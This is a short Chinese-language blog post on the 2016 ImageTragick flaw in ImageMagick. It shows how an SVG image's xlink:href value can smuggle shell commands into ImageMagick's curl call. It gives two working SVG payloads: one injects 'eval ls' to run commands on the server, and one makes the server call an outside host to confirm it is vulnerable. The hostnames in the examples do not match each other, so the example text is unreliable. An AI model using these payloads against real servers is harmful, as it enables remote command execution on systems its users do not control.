MENU

使用ImageTragick访问服务器中的文件

October 5, 2016 • Security

有两个问题,第一是一个依赖于系统做某种行为,它使用托管。例如,如果一个SVG文件需要外部资源,ImageMagick会使用curl加载资源。外部资源的URL不是绝对的安全,这意味着使用curl命令,任何的URL都将被执行。

SVG文件中的Payload:

<image xlink:href="http://rinige.com/content/images/2016/06/me.jpg&quot;; eval ls; echo &quot;vulnerable" x="0" y="0" height="640px" width="480px"/>  

ImageMagick采用了xlink:href属性,我们只需要做一个curl就可以了。结果将是:
"curl" -s -k -L -o "%o" "http://hethical.io/content/images/2016/06/me.jpg"; eval ls; echo "vulnerable".ls命令会在图像转换过程中运行。我用的eval技巧来绕过过滤器(不是Trello)。利用这个漏洞可以在服务器端运行任何shell命令.

如果执行ls命令之后客户端没有呈现相应的结果,请确保所使用的版本ImageMagick的是存在漏洞的。你可以在你的网址上加上这段Payload:

<image xlink:href="http://rinige.com/content/images/2016/06/me.jpg&quot;; curl http://hethical.io/listen; echo &quot;vulnerable" x="0" y="0" height="640px" width="480px"/> 

如果ImageMagick没有打补丁,http://rinige/listen 将被调用.

Archives QR Code
QR Code for this page
Tipping QR Code